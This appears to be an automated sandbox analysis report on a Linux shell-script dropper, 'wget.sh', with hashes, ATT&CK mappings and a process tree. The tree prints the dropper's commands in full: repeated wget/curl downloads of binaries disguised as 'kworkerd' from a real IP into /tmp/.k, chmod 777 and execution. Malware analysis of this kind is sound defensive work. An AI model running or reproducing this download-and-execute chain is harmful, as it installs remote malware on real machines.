90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713

Analysis

max time kernel
4s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
10/07/2026, 13:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 4KB
Sample260710-qnp6nact7x
SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
MD5 27c926823687337fe491a0578dcee3bf
SHA1 3c11433b0e5a3354dab55eea7b535074e3c11103
SHA512 0de8408bc0c48d1f809fcc6faad7b5d85b574379dec0f6ad030e3dcb07db35528976504bf04c954261c453eda3173424ff077a6f89cc13fc79cca54225078bae
SSDEEP 24:j96f0fs+L+Jmgs+LJlSlLxs+L5M7ldls+L0fxf2Us+LuifibVs+Lcmfm0GCGs+Le:ev5F7Fh
TLSH
T12B8171E6F834A522304DFAFCF217A7848746CEB990BB3601A046AD7301CF558B54DBB1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
690	chmod
694	chmod
699	chmod
715	chmod
729	chmod
671	chmod
682	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.k	673	wget.sh
/tmp/.k	683	wget.sh
/tmp/.k	691	wget.sh
/tmp/.k	695	wget.sh
/tmp/.k	700	wget.sh
/tmp/.k	717	wget.sh
/tmp/.k	731	wget.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	curl
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:652
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/.k
  /tmp/.k
  2⤵
  PID:673
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:676
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-events -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/.k
  /tmp/.k
  2⤵
  PID:683
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:685
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
  2⤵
  PID:688
- /usr/bin/curl
  curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:689
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/.k
  /tmp/.k
  2⤵
  PID:691
- /bin/sh
  /bin/sh /tmp/.k
  2⤵
  PID:691
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:692
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/.k
  /tmp/.k
  2⤵
  PID:695
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:697
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/.k
  /tmp/.k
  2⤵
  PID:700
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:702
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /tmp/.k
  /tmp/.k
  2⤵
  PID:717
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:719
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:720
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/.k
  /tmp/.k
  2⤵
  PID:731

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.k
Size 271KB
SHA256 05686c56837324d1bbb9b98c331bd689af81de4a27c52a4d84ace7e25302e111
MD5 54f0648f2e7cee0cb382eec995843eb2
SHA1 d2f5dbec007fc5ab00891651aaf56e1feefd9b63
SHA512 b365355312212dcecd19fabd87f335190665cea31d0c72bd432a1cb5ee4ce2959bb7b48e8d8501d09faa2519795c51a2f60e6e33981fdb43797b1d4a1dc43641
SSDEEP 6144:+Oq94BgLBMx0E/bJghAzZ6DvFc9NqHH9JLOf9E5:VyEgFMx0E/bJghAYvFc98HH9y9E5
TLSH
T1AE445B036580D5BAC487D0B5CBDFA2274961783D5C7A724B27A07FA23F4AEB05B19B13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 223KB
SHA256 10c76163201a46c7a7e5df1f2bb2d25bd79bc348baba7c17ee46bd4eef5148f6
MD5 d3725c717fafe309bc1e83ecc124c693
SHA1 b49563ff1ddcb83890bea4a621d3116c381b1a14
SHA512 292073146fdc841182f1e95b2e8b5a122c40e34a1df0160a81f5dbbf68dd876e1fca4105eff6b950669048d3eb79887b0bfd685fac7f5e733207d6147191ee5a
SSDEEP 3072:QHW83e61SCSGGH4s0j4Azl2J5FFFboLMeexI36rozh37eQ/EogR1O:ue6DtFs0jS1/s3bzhC4EoU1O
TLSH
T136246D43AA43DAF2E01315B112E79B665A32FC3A0C2FC5C6E7653DA1CDA11C4A716B3D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 162B
SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
MD5 1b7c22a214949975556626d7217e9a39
SHA1 d01c97e2944166ed23e47e4a62ff471ab8fa031f
SHA512 ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5
TLSH
T159C08C6E2613BD4CC6A3217522C3B490C09AA3A7A4EA46214840805331CB29A8AC7396
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.k
Size 394KB
SHA256 2081580b46e6903e856f457ee1511c1a89d571a2285e2f227308fafc402db71c
MD5 e24da9195399831f986432b6f5c766f7
SHA1 752ea337bb50fdb53de3893188499abc73982d9f
SHA512 84eba5f2dc92bae33633da4566786c82fa7ced294630aea6fc9b54c78bde40720edaf9583e48b011d7bc2039ce219b3c63b2fa3ba8d0bfc040b01ea63b407665
SSDEEP 6144:UHhGHABxUR4fAGAPF83McRxccQ3TwCeiyTthE8SZuGHc9yWYfBxx+SuxQKt96snh:9gB+PFQ23aiyRhWlAyZ4xh1crH4XZ
TLSH
T1A38422FB5823A4DBF296943579B3C628360C37867E422848BBBEADC10F2D5AC5D453C5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 377KB
SHA256 ae5946d2ee25fbdbd341d3909c8226d3152376d2b68e523cbb323bccf29a0481
MD5 92709ceeee5228c3dc87b9f5e8aac524
SHA1 743ec272e7a263d1cefb6c8646fb10efb2880c30
SHA512 70074cf4a2f7cef5740cda65f537632dd647da7708a79ad3b625f218310bedb55e83ad36f6e03c3d0fceb68d548c19335d7e0636a303907097efb8998e6dd4e9
SSDEEP 6144:JT1rObSMsvymUnNSBqEsKA0tju+YoLJdyKeDdjnJilzQggF5xF2iQuGIWXnzIjnz:DVJDw3EsKAT+YojxonJipQzxF2OuXBYl
TLSH
T1978423C49432990EE5AA48BFEEFF83B96B98F5551BC128C4C52CED460F2419D804E7EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 394KB
SHA256 cf3f03b781e716c600e11a7b185cd6d6c350c13c1127e577205e5eb89c4d030b
MD5 1a9e7b1026697868a6c2d8d7eb24b3e9
SHA1 2161d7f0db0421d57c7009d351542e413d746f95
SHA512 1e0ddcfb77a23b450981019ead4fa4d9cd503c5ddc3b0b0bc99631970a0958a74731037c734e96c92e1b482357f0d484956c68df40ae9ce1ef88ab84bf765cc8
SSDEEP 12288:m5sLITnyVF4OkATN3q+eVmvmlSvDiHa4:m5JiFeVsjmHa4
TLSH
T1AE846C5ABD419F57C5C216F7FBAE8298371A7BA9C6EE3103D8146F60338B48F0D26251
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads